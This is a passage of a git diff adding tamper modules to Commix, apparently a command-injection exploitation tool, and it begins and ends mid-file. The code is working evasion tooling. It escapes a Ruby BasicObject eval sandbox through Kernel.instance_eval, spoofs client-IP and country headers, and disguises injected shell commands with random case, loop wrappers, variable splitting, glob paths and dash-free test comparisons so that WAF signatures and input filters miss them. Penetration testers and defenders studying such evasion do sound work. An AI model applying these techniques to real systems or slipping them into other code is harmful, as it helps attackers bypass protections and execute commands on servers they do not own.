backslashes. + payload = re.sub(r"(?<![\w\\])" + re.escape(name) + r"\(", lambda x: looked_up + "(", payload) + return payload + +# eof diff --git a/src/tamper/eval/ruby/__init__.py b/src/tamper/eval/ruby/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/ruby/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/ruby/basicobjectescape.py b/src/tamper/eval/ruby/basicobjectescape.py new file mode 100644 index 0000000000..16be074aeb --- /dev/null +++ b/src/tamper/eval/ruby/basicobjectescape.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Runs the payload with Kernel as self, for a sink evaluating Ruby inside a BasicObject + instance rather than a plain eval(). +Notes: This tamper script works against target(s) evaluating Ruby (i.e. option '--eval=ruby'). + 'BasicObject.new.instance_eval(value)' is a common way to let a value run as a small DSL - + a pricing rule, a feature-flag expression - without touching the rest of the application, + since BasicObject does not inherit from Object and so carries none of Kernel's methods. + The grammar's own backtick, 'sleep' and 'exit' are all Kernel methods called implicitly on + self, so every one of them is simply undefined there. 'Kernel.instance_eval{ ... }' runs + the block with self rebound to Kernel for its whole duration, and needs nothing rewritten + inside it - the backtick text the grammar already wrote keeps its own escaping exactly. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead by changing what the call ran against) +""" + +__tamper__ = "basicobjectescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "ruby") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "ruby": + return payload + # One wrap around the whole expression reaches every bare Kernel call inside it at once - the + # backtick command, a 'sleep' and an 'exit' alike - rather than one rewrite per name. + return "::Kernel.instance_eval{" + payload + "}" + +# eof diff --git a/src/tamper/misc/__init__.py b/src/tamper/misc/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/misc/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/misc/xforwardedfor.py b/src/tamper/misc/xforwardedfor.py new file mode 100644 index 0000000000..8ed4de19fb --- /dev/null +++ b/src/tamper/misc/xforwardedfor.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +from src.utils import settings +from src.core.compat import xrange + +""" +About: Appends a fake HTTP header 'X-Forwarded-For' (and similar). +""" + +__tamper__ = "xforwardedfor" +__priority__ = settings.PRIORITY.NORMAL + +# An address the target would read as coming from inside its own network says the opposite of what +# this header is for, so an octet that begins one of those ranges is drawn again. +PRIVATE_FIRST_OCTETS = (10, 172, 192) +# The octets are sampled below this, which keeps them off the broadcast address as well as zero. +LAST_OCTET_VALUE = 255 + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Add a spoofed client address, so the request appears to come from elsewhere. +def tamper(request): + # An address from one of the ranges a proxy is believed for. + def randomIP(): + numbers = [] + while not numbers or numbers[0] in PRIVATE_FIRST_OCTETS: + numbers = random.sample(xrange(1, LAST_OCTET_VALUE), 4) + return '.'.join(str(number) for number in numbers) + request.add_header('X-Forwarded-For', randomIP()) + request.add_header('X-Client-Ip', randomIP()) + request.add_header('X-Real-Ip', randomIP()) + request.add_header('CF-Connecting-IP', randomIP()) + request.add_header('True-Client-IP', randomIP()) + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + request.add_header('Via', '1.1 Chrome-Compression-Proxy') + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + request.add_header('CF-IPCountry', random.choice(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'))) + + +# eof diff --git a/src/tamper/obfuscation/__init__.py b/src/tamper/obfuscation/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/generic/__init__.py b/src/tamper/obfuscation/generic/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/generic/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/generic/randomcase.py b/src/tamper/obfuscation/generic/randomcase.py new file mode 100644 index 0000000000..0e3a9f2804 --- /dev/null +++ b/src/tamper/obfuscation/generic/randomcase.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from random import choice +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces each character in a user-supplied OS command's name with a random case. +Notes: Only the name is varied, on either target: the fold that lowers it back on a POSIX shell + would lower an argument's own letters with it, and the command was asked for with the + letters it was asked for. On Windows nothing has to fold it back at all, 'cmd.exe' + resolving a name without regard to case. + The fold alone is read by 'awk', which takes the name as an argument and so carries no + operator at all. Reading the name back from its end as well - where 'rev' is in use too - + carries one either way, and is written the way that script writes its own. + The character ranges are quoted with "'", which is the one quote neither an + evaluated string nor the shell inside it is already using. +""" + +__tamper__ = "randomcase" +__priority__ = settings.PRIORITY.HIGH + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Folded back to lower case by awk, which takes the name as an argument rather than through a pipe. +_FOLD = "'BEGIN{print(tolower(ARGV[1]))}'" + +""" +Every character's case chosen independently, so two letters - the shortest a real command ever +is - still come out matching the original's case throughout one time in two: a signature over the +literal, unmixed word is still caught as often as it is dodged. Retried until at least one letter +actually differs in case from the rest, the way the result is supposed to read in the first place - +skipped only where there are fewer than two letters to vary at all, since no retry would ever end. +""" +def _mixed_case(cmd): + if sum(char.isalpha() for char in cmd) < 2: + return ''.join(choice((str.upper, str.lower))(char) for char in cmd) + while True: + candidate = ''.join(choice((str.upper, str.lower))(char) for char in cmd) + if candidate not in (candidate.lower(), candidate.upper()): + return candidate + +# Vary the case of the command's letters, folded back where the shell cares which case it was given. +def tamper(payload): + # 'cmd.exe' reads the mixed case as the command it names, so it is handed over as it is - and only + # the name is varied, an argument being the command's own to read however it reads it. + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + name, separator, arguments = settings.USER_APPLIED_CMD.partition(settings.SINGLE_WHITESPACE) + payload = source.replace(settings.USER_APPLIED_CMD, _mixed_case(name) + separator + arguments) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + # An empty 'USER_APPLIED_CMD' is still "in" any string, so the replace below would otherwise + # insert the obfuscated-empty-string construct between every character of the payload - a + # verification litmus built after a finding confirms (and so after exploitation phase starts) + # has no command of its own to case-randomize at all. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD + if settings.USER_APPLIED_CMD in source: + # Only the name, since the fold would lower an argument's own letters along with it - and the + # command was asked for with the letters it was asked for. + name, separator, arguments = settings.USER_APPLIED_CMD.partition(settings.SINGLE_WHITESPACE) + mixed_case = _mixed_case(name) + # 'rev' runs before this one and this rebuilds what it wrote, so where both are in use the two + # rewrites are spelled out together rather than one wrapped around the other. + # The fold on its own is one statement and needs no operator at all. Reading the name back + # from its end as well needs one, so that form is chosen the way 'rev' chooses its own. + # The fold on its own is one awk statement and carries no operator at all. Reading the name + # back from its end as well carries one either way, so that form is chosen the way 'rev' + # chooses its own - awk where its ';' or newline is the separator under test, the pipes + # otherwise, those being what a target letting '&' through does not stop. + if not settings.TAMPER_SCRIPTS["rev"]: + folded = "awk" + settings.SINGLE_WHITESPACE + _FOLD + settings.SINGLE_WHITESPACE + mixed_case + else: + mixed_case = mixed_case[::-1] + payload_separator = checks.current_separator() + if checks.awk_separator_usable(payload_separator): + program = checks.awk_reverse_program(payload_separator, fold=True) + folded = "awk" + settings.SINGLE_WHITESPACE + program + settings.SINGLE_WHITESPACE + mixed_case + else: + folded = "echo" + settings.SINGLE_WHITESPACE + mixed_case + "|rev|tr" + \ + settings.SINGLE_WHITESPACE + "'[A-Z]'" + settings.SINGLE_WHITESPACE + "'[a-z]'" + if checks.using_backticks(): + random_case_cmd = "\\`" + folded + "\\`" + else: + random_case_cmd = settings.CMD_SUB_PREFIX + folded + settings.CMD_SUB_SUFFIX + # Applied to the payload as handed over, not to the untouched original: the scripts run in + # order, and reaching back past the ones before would throw their work away. + payload = source.replace(settings.USER_APPLIED_CMD, random_case_cmd + separator + arguments) + if len(settings.WHITESPACES) != 0: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof diff --git a/src/tamper/obfuscation/posix/__init__.py b/src/tamper/obfuscation/posix/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/obfuscation/posix/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/obfuscation/posix/cmd2loop.py b/src/tamper/obfuscation/posix/cmd2loop.py new file mode 100644 index 0000000000..8663c706e5 --- /dev/null +++ b/src/tamper/obfuscation/posix/cmd2loop.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + +""" +About: Wraps the payload's command in a single-iteration 'for' loop, so it is reached through a + shell keyword instead of a separator. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://github.com/coreruleset/coreruleset/issues/4789 +""" + +__tamper__ = "cmd2loop" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Longest first, so "&&" is not read as "&" and "\r\n" not as "\n". +_SEPARATORS = sorted([_sep for _sep in settings.SEPARATORS_LVL1 if _sep], key=len, reverse=True) + +""" +A tab, not a space, separates the loop's keywords. + +Whitespace substitution can rewrite spaces in the payload, preventing the shell from correctly parsing the loop. +A tab is recognized directly as parser whitespace and remains unaffected, preserving the loop structure. +""" +_KEYWORD_WHITESPACE = "\t" + +# The payloads already spend the first three of these, and a loop must not shadow a variable whose +# value the body it wraps is about to read. +_LOOP_VARIABLE = settings.RANDOM_VAR_GENERATOR + "3" + +""" +Where the injected command starts, not where the payload starts. + +The prefix is added before tampering, so only the injected command should be wrapped. +Including the prefix can break the command structure it was intended to close. +""" +def _boundary(payload): + for index in range(len(payload)): + for sep in _SEPARATORS: + if payload.startswith(sep, index): + return index + len(sep) + return -1 + +""" +The comment that terminates an out-of-band payload must remain at the end of the line. + +It prevents trailing input from being interpreted as part of the command. +Anything placed after it can break the command structure and prevent execution. +""" +def _split_comment(body): + if not body.endswith(settings.COMMENT): + return body, "" + body = body[:len(body) - len(settings.COMMENT)] + # Whitespace substitution has already run, so the space before it is whatever is now in use. + space = checks.current_whitespace() + if body.endswith(space): + body = body[:len(body) - len(space)] + # It goes back after a tab: "done" must remain a separate keyword for the loop to parse correctly. + return body, _KEYWORD_WHITESPACE + settings.COMMENT + +# Everything glued on after the command comes off in the order it went on, and goes back the same. +def _split(payload): + cut = _boundary(payload) + if cut < 0: + return None + head, body = payload[:cut], payload[cut:] + + suffix = menu.options.suffix if menu.options.suffix and body.endswith(menu.options.suffix) else "" + if suffix: + body = body[:len(body) - len(suffix)] + body, comment = _split_comment(body) + sep = next((_sep for _sep in _SEPARATORS if body.endswith(_sep)), "") + if sep: + body = body[:len(body) - len(sep)] + return head, body, sep + comment + suffix + +# A header value cannot carry a raw newline, so the connective the loop needs is unavailable there. +def _header_injection(): + return settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or \ + settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION + +""" +A Windows command payload, identified from the payload itself. + +The operating system may be unknown when the payload is processed, so relying on fingerprinting can lead to incorrect handling. +Identifying the payload directly ensures the appropriate command structure is preserved. +""" +def _windows_shaped(payload): + return checks.WINDOWS_TAIL.strip() in payload + +""" +Blank out quoted spans, keeping the length so the rest still lines up. + +A ";" inside an interpreter's own program text is that language's statement separator, not the +shell's, and reading it as one would refuse payloads that are a single command from the shell's +point of view - the out-of-band Python client being the one that does this. +""" +def _outside_quotes(body): + out = [] + quote = "" + index = 0 + while index < len(body): + char = body[index] + if quote: + out.append(settings.SINGLE_WHITESPACE) + if char == "\\" and index + 1 < len(body): + out.append(settings.SINGLE_WHITESPACE) + index += 1 + elif char == quote: + quote = "" + elif char in "'\"": + quote = char + out.append(settings.SINGLE_WHITESPACE) + else: + out.append(char) + index += 1 + # An unbalanced quote means the read was wrong, so nothing it says can be relied on. + return body if quote else "".join(out) + +""" +A payload that chains using the separator under test can be wrapped. + +When a payload uses the same separator consistently, its steps can be grouped without changing the command flow. +Payloads that test multiple separators represent alternatives rather than a single sequence, so they should remain unchanged. +""" +def _one_chain(head, body): + chained = next((sep for sep in _SEPARATORS if head.endswith(sep)), "") + body = _outside_quotes(body) + index = 0 + while index < len(body): + found = next((sep for sep in _SEPARATORS if body.startswith(sep, index)), "") + if not found: + index += 1 + elif found == chained: + index += len(found) + else: + return False + return True + +""" +Newlines, not semicolons, connect the loop. + +A semicolon can introduce an unnecessary separator, while the command after `do` +provides a clean execution point without an additional metacharacter. +""" +def tamper(payload): + if settings.TARGET_OS == settings.OS.WINDOWS or _header_injection(): + return payload + + if _windows_shaped(payload): + return payload + + parts = _split(payload) + if parts is None: + return payload + head, body, tail = parts + # A carriage return is not whitespace to a POSIX shell; it would be swallowed into a word. + if not body.strip() or settings.END_LINE.CR in body or not _one_chain(head, body): + return payload + + lf, ws = settings.END_LINE.LF, _KEYWORD_WHITESPACE + loop = ws.join(["for", _LOOP_VARIABLE, "in", "1"]) + \ + lf + "do" + ws + body + lf + "done" + return head + loop + tail + +# eof diff --git a/src/tamper/obfuscation/posix/cmd2var.py b/src/tamper/obfuscation/posix/cmd2var.py new file mode 100644 index 0000000000..efeeeebfd8 --- /dev/null +++ b/src/tamper/obfuscation/posix/cmd2var.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +import re +import string +from src.utils import settings +from src.core.controller import checks + +""" +About: Splits the name of the user-supplied operating system command across unset shell variables. +Notes: This tamper script works against target(s) with a POSIX shell. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "cmd2var" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# Named once for the whole run, and long enough that the target is unlikely to have them set. +VARIABLE_NAME_LENGTH = 3 + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# A name of its own, so that what the shell falls back on is the piece carried in the payload. +def _variable_name(): + return "".join(random.choice(string.ascii_uppercase) for _ in range(VARIABLE_NAME_LENGTH)) + +def _split_name(name): + """ + The command's name carried as the fallbacks of two variables the target has not set. + + Where a script that writes between the characters leaves them in order - so stripping what was + written between them hands the name straight back - this leaves no piece of the name outside an + expansion, and needs no command of its own to do it. + """ + at = random.randint(1, len(name) - 1) + return "${" + _variable_name() + ":-" + name[:at] + "}${" + _variable_name() + ":-" + name[at:] + "}" + +# A name already carrying a glob is left whole - splitting it would cut a bracket in two. +GLOBBED_NAME = r"[*?\[\]]" + +# The command with its name carried in pieces, for the target's shell to put back together. +def rewrite_command(command): + name = command.split(settings.SINGLE_WHITESPACE)[0] + # A name of one character cannot be split, a keyword stops being one once it is written any + # other way, and a glob has already hidden the name it was made from. + if len(name) < 2 or checks.tamper_word_kept(name) or re.search(GLOBBED_NAME, name): + warn_msg = "The '" + __tamper__ + ".py' tamper script cannot split the name of the '" + warn_msg += command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return command + return _split_name(name) + command[len(name):] + +# Hand the command's name over in pieces, alongside whatever else rewrites the command. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' does not expand a variable written this way. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # The exploitation phase reaches here before there is a command of the user's own to rewrite. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + return checks.tamper_rewrite_user_command(payload, __tamper__) + return payload + +# eof diff --git a/src/tamper/obfuscation/posix/cmd2wildcard.py b/src/tamper/obfuscation/posix/cmd2wildcard.py new file mode 100644 index 0000000000..51a4469f49 --- /dev/null +++ b/src/tamper/obfuscation/posix/cmd2wildcard.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces the paths in the user-supplied operating system command with wildcards (/[b]in/[c]at). +Notes: This tamper script works against target(s) with a POSIX shell. Only a path the command reads + is hidden, and only where it is written out in full - a bare command name is found on the + PATH rather than by the filesystem, and a wildcard is not looked up there. +References: [1] https://www.secjuice.com/web-application-firewall-waf-evasion/ +""" + +__tamper__ = "cmd2wildcard" +__priority__ = settings.PRIORITY.HIGHER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +# An absolute path written out in full, which is the only thing here a wildcard can stand in for. +WILDCARD_PATH = r"/[^\s/|;&<>()`'\"]+(?:/[^\s/|;&<>()`'\"]+)*" + +# What a path already carrying a wildcard of its own is left alone for. +WILDCARD_ALREADY = r"[*?\[\]]" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _wildcard_path(match): + """ + One path with a bracket around the first character of each of its parts, or left as it was. + + A bracket rather than a '?', because the shell has to arrive back at the one file that was + named: '/bin/c?t' is 'cat' and 'cut' both on a target that carries the two, and what the glob + hands over then is a command with the other one as its argument. '/[c]at' can only ever be + 'cat', and a signature written against the path still does not see it. + """ + path = match.group(0) + if re.search(WILDCARD_ALREADY, path): + return path + parts = path.split("/") + return "/".join(part if not part[:1].isalnum() else "[" + part[0] + "]" + part[1:] for part in parts) + +# The command with its paths spelled as globs, for the target to match back to the file. +def rewrite_command(command): + # One word at a time, so the spacing is left as it was and a URL among them is passed over whole: + # what follows a scheme names nothing on the filesystem, so a glob written over it matches no file + # and the shell hands the word on spelled exactly as the glob left it. + def _word(match): + word = match.group(0) + if "://" in word: + return word + return re.sub(WILDCARD_PATH, _wildcard_path, word) + wildcard_cmd = re.sub(r"\S+", _word, command) + # A command naming no path of its own has nothing here that a glob could stand in for, and + # saying so once is worth more than leaving the script looking like it did something. + if wildcard_cmd == command: + warn_msg = "The '" + __tamper__ + ".py' tamper script found no path to hide in the '" + warn_msg += command + "' command. Skipping tamper script." + settings.print_once(warn_msg) + return wildcard_cmd + +# Hand the command over with its paths spelled as globs, alongside whatever else rewrites it. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' globs nothing on its own. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + # The exploitation phase reaches here before there is a command of the user's own to rewrite. + if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: + return checks.tamper_rewrite_user_command(payload, __tamper__) + return payload + +# eof diff --git a/src/tamper/obfuscation/posix/dashlesstest.py b/src/tamper/obfuscation/posix/dashlesstest.py new file mode 100644 index 0000000000..63bb3f6b33 --- /dev/null +++ b/src/tamper/obfuscation/posix/dashlesstest.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re + +from src.utils import settings +from src.core.controller import checks + +""" +About: Runs 'test's numeric comparisons ('-eq'/'-ne'/'-le'/'-ge'/'-lt'/'-gt') without a '-' of their + own, for a target that strips a bare '-' outright. +Notes: This tamper script works against target(s) with a POSIX shell. Equality is read as '='/'!=', which agrees with '-eq'/'-ne' exactly for the plain, unpadded decimal integers commix always compares this way - it would not for a value written with a leading zero. Ordering has no dash-free spelling of its own in 'test', so it is read instead from 'expr's own comparison, whose "<="/">="/"<"/">" need no '-' either - quoted, since unquoted they are shell redirections. + What this reaches is every '-' the results-, boolean-, time- and file-based techniques + write: the comparisons above, a word's length, a byte's ordinal, and the marker a result is + read by. The tempfile-based technique's byte reading is not among them - it turns a whole + file into the decimals of its bytes through options, which are spelled with the character + this script is there to avoid - and a run reaching that technique is told so. +References: [1] https://github.com/digininja/DVWA/blob/master/vulnerabilities/exec/source/high.php +""" + +__tamper__ = "dashlesstest" +__priority__ = settings.PRIORITY.LOWER + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The ordering operators, spelled the way 'expr' reads them rather than 'test'. +_ORDER_OPERATORS = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">"} + +""" +A '[ LEFT OP RIGHT ]' ordering test, rewritten around 'expr' instead. Which side holds the plain +integer and which the longer expression is not the same from one caller to the next - a length is +compared against a variable on either side, depending on which payload built the check - so neither +side is assumed to be the simple one. What is assumed is that this bracket is flat: nothing commix +writes for this ever nests a second '[' inside the one being rewritten, so the nearest '[ ' before +the operator and the nearest ' ]' after it are this same test's own boundary, however long either +side runs. +""" +def _rewrite_ordering(payload): + for operator, symbol in _ORDER_OPERATORS.items(): + token = " " + operator + " " + search_from = 0 + while True: + op_index = payload.find(token, search_from) + if op_index == -1: + break + open_bracket = payload.rfind("[ ", 0, op_index) + close_bracket = payload.find(" ]", op_index + len(token)) + if open_bracket == -1 or close_bracket == -1: + search_from = op_index + len(token) + continue + left = payload[open_bracket + 2:op_index] + right = payload[op_index + len(token):close_bracket] + replacement = "[ $(expr " + left + " '" + symbol + "' " + right + ") = 1 ]" + payload = payload[:open_bracket] + replacement + payload[close_bracket + 2:] + search_from = open_bracket + len(replacement) + return payload + +""" +The printing a reading is taken through, as either technique writes it. + +The same reading is written twice in the tree - once through 'checks.print_value()' and once with +the format spelled out - and with or without spaces around the pipes. Matched both ways here so one +rewrite covers them, rather than one of them being quietly left carrying a '-'. +""" +_PRINTERS = r"(?:printf %s |printf '%s' |echo -n )" +_PIPE = r"\s*\|\s*" + +# How far into a word a reading starts, as the regex 'expr' matches that many characters with. +def _skipped(count): + return r".\{" + str(count) + r"\}" + +""" +The byte count the comparisons are made against, spelled without the '-' of 'wc -c'. + +Written down a pipe because the separator being proved is one, and nothing set on its left side +survives to be read with '${#...}' on the right. 'expr STRING : REGEX' answers with how far the +match ran, which needs neither a pipe nor a dash, and agrees with 'wc -c' on what this counts - +a marker of ASCII letters, where a character and a byte are the same thing. +""" +_LENGTH = re.compile(r"\$\(" + _PRINTERS + r'"(?P<word>[^"]*)"' + _PIPE + r"wc -c\)") + +def _rewrite_length(payload): + return _LENGTH.sub(lambda m: '$(expr "' + m.group("word") + '" : \'.*\')', payload) + +""" +The byte read down the pipe, without the '-' of 'tail -c +N', 'head -c 1' and 'od -A n -t u1'. + +'expr STRING : REGEX' takes the character the three of them were there to reach, and 'printf' reads +its ordinal the way every other byte in a payload is read. Written as a command substitution rather +than an arithmetic one, because this stands where the caller may already have an arithmetic +expansion open, and one holding another is not parsed alike everywhere. The span is added on and +taken off again for the same reason 'byte_ordinal' does it - a build whose 'printf' signs the byte +answers with a negative, and the same sum lands either answer back in range. +""" +_ORDINAL = re.compile(r"\$\(" + _PRINTERS + r'"(?P<word>[^"]*)"' + _PIPE + r"tail -c \+(?P<at>\d+)" + + _PIPE + r"head -c 1" + _PIPE + r"od -A n -t u1\)") + +def _rewrite_piped_ordinal(payload): + span = str(settings.HIGHEST_BYTE + 1) + def _rewritten(match): + character = '$(expr "' + match.group("word") + '" : "' + _skipped(int(match.group("at")) - 1) + r'\(.\)")' + return ("$(expr \\( $(" + settings.BYTE_LOCALE + " printf '%d' \"'" + character + + "\") + " + span + " \\) % " + span + ")") + return _ORDINAL.sub(_rewritten, payload) + +""" +The marker printed, or not, without the '-' of 'tail -c +N'. + +The pipe form writes the marker out whole and then takes it from the byte the comparison picks - +its first where the answer is yes, one past its last where it is no, which leaves nothing to take. +The same choice is made by how far into the marker 'expr' is told to start: none of it where the +answer is yes, all of it where it is no, and what comes back is handed to the run's own printing +rather than to a second one of this script's. +""" +_PRINTED_MARKER = re.compile(r"(?P<printer>" + _PRINTERS + r")(?P<marker>\w+)" + _PIPE + + r"tail -c \+\$\(\( \((?P<arith>.*?)\) \? 1 : (?P<past>\d+) \)\)") + +def _rewrite_printed_marker(payload): + def _rewritten(match): + skipped = "$(( (" + match.group("arith") + ") ? 0 : " + str(int(match.group("past")) - 1) + " ))" + taken = '$(expr "' + match.group("marker") + '" : "' + r".\{" + skipped + r"\}\(.*\)" + '")' + # What comes back is a word of letters or nothing at all, and neither printing may carry a '-' + # of its own - which rules out the '-n' a value is printed with where the run prints with + # 'echo'. The line break 'echo' leaves behind costs nothing: what is read off the page is + # whether the marker is on it. 'printf' keeps its format, since handed none at all it answers + # with a usage error instead of the silence an absent marker is supposed to look like. + printing = "echo" + settings.SINGLE_WHITESPACE if settings.PRINT_WITH_ECHO else checks.print_value("") + return printing + taken + return _PRINTED_MARKER.sub(_rewritten, payload) + +# 